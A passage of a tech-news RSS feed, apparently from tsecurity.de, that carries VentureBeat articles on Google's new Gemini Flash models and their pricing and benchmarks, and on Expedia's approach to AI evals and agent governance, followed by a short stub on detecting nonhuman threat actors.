achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]></title>
<description><![CDATA[“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other thi...]]></description>
<link>https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>“The new PRD are the evals,” Xavi Amatriain, <a href="https://www.expediagroup.com/en-us">Expedia Group’s</a> first chief AI and data officer, told the <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”</p><p>He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”</p><p>Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. </p><p>VentureBeat’s <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VB Pulse research on the evaluation gap</a> reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.</p><h2><b>Don’t let guardrails get in the way of feedback</b></h2><p>“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.</p><p>Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.</p><p>Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.</p><p>In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">the checks shift from recommended to required as the stakes climb</a>. </p><h2>Specialized agents over monolithic intelligence</h2><p>“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”</p><p>Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”</p><p>Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.</p><h2>When the user must keep the final click</h2><p>Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.</p><p>“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.</p><p>“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”</p><h2>The next attackers will be other AI systems</h2><p>“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”</p><p>A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”</p><p>Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">Pulse survey on agent security</a>, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.</p><p>Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”</p>]]></content:encoded>
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<title><![CDATA[Behavioral biometrics: How to detect nonhuman threat actors]]></title>
<description><![CDATA[As Anthropic’s Mythos model makes clear, AI is a cybersecurity game changer. When released in preview, Mythos proved unexpectedly effective in finding and exploiting bugs in software. Anthropic said the preview release found more than 10,000 critical vulnerabilities across every…
Read more →
The ...]]></description>
<link>https://tsecurity.de/de/3684488/it-security-nachrichten/behavioral-biometrics-how-to-detect-nonhuman-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684488/it-security-nachrichten/behavioral-biometrics-how-to-detect-nonhuman-threat-actors/</guid>
<pubDate>Tue, 21 Jul 2026 19:44:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>&lt;p&gt;As Anthropic’s Mythos model makes clear, AI is a cybersecurity game changer. When released in preview, Mythos proved unexpectedly effective in finding and exploiting bugs in software. Anthropic said the preview release found more than 10,000 critical vulnerabilities across every…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/behavioral-biometrics-how-to-detect-nonhuman-threat-actors/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/behavioral-biometrics-how-to-detect-nonhuman-threat-actors/">Behavioral biometrics: How to detect nonhuman threat actors</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Alibaba's Qwen-Image-3.0 renders full infographic grids and readable ten-pixel text in a single pass]]></title>
